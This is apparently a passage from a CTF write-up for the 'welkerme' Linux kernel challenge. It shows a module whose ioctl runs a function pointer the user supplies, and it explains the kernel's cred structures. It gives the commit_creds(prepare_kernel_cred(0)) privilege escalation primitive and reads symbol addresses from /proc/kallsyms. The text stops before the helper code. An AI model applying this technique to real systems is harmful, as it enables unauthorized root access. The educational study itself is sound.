staticlongmodule_ioctl(struct file *filp, unsignedint cmd, unsignedlong arg) { long (*code)(void); printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
switch (cmd) { case CMD_ECHO: printk("CMD_ECHO: arg=0x%016lx\n", arg); return arg;
This is the source code of a kernel module. Inserting or loading the module into the kernel creates a device (file) at /dev/welkerme. We can interact with the driver using ioctl. Calling ioctl with the command CMD_EXEC i.e 0xc0de0002 would call an arbitrary function pointer supplied by the user as ioctl arg.
structtask_struct { volatilelong state; // process state (running, stopped, ...) void *stack; // task's stack pointer int prio; // process priority structmm_struct *mm;// memory address space structfiles_struct *files;// open file information conststructcred *cred;// credentials // ... };
structcred { // . // . // . kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ // . // . // . };
The cred struct stores information about the owner, capabilities,etc. of a process. Privilege escalation is achieved via changing current_task->cred->euid to 0. (Might need to change some other id’s depending on situation). The following code will do this for us!
1
commit_creds(prepare_kernel_cred(0));
prepare_kernel_cred prepares a set of credentials for a kernel service which is committed by passing its return value as an argument to the function commit_creds.
Cool, not let’s find out the address of prepare_kernel_cred and commit_creds. To do this, we need to read /proc/kallsyms by booting into the kernel as root. Run debug.sh, provided by the author.
1 2 3 4 5
/ # cat /proc/kallsyms | grep prepare_kernel_cred ffffffff810726e0 T prepare_kernel_cred
/ # cat /proc/kallsyms | grep commit_creds ffffffff81072540 T commit_creds
Let’s write a helper function for calling commit_creds(prepare_kernel_cred(0))